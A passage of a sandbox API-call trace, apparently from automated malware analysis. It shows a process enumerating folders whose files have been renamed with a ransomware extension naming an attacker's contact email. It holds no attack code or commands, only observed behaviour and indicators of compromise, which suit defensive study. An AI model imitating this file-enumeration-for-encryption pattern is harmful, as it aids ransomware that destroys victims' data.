lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a38fc8, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a38fc8, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.981] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.982] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.982] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0174.982] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.982] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.984] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.984] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5ddacff, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc682db4e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.984] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68955ec, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.984] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a5f160, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a5f160, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.984] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a5f160, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a5f160, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.984] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.985] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5e73517, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0174.985] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.985] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5e73517, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.987] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5e73517, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.987] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e27031, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e27031, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e4d2c9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.987] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e4d2c9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e4d2c9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.987] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc724b513, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc724b513, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc724b513, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.987] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc724b513, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc724b513, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc724b513, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.987] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.988] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.988] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6717f13, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0174.988] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.988] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6717f13, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.989] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6717f13, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.989] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6148204, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6148204, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc616e3a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.990] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc616e3a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc616e3a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6194809, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.990] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7677735, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7677735, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7677735, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.990] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7677735, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7677735, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7677735, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.990] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.991] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.991] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0174.991] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.991] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.994] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.994] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6469438, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6469438, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6469438, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.995] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6469438, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6469438, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.995] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc769da06, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.995] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc769da06, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.995] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.996] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.996] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6a85464, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0174.996] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.996] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6a85464, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.998] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6a85464, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.998] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc648f4d9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc64b57ea, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.998] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64b57ea, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64b57ea, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.998] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c4739a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c4739a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.999] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c4739a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c4739a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.999] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.999] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.000] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6b90516, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0175.000] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0175.000] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6b90516, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0175.001] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6b90516, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.002] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc673e132, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc673e132, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc673e132, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.002] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68491fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68491fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68491fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.002] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c6d3fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c6d3fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, 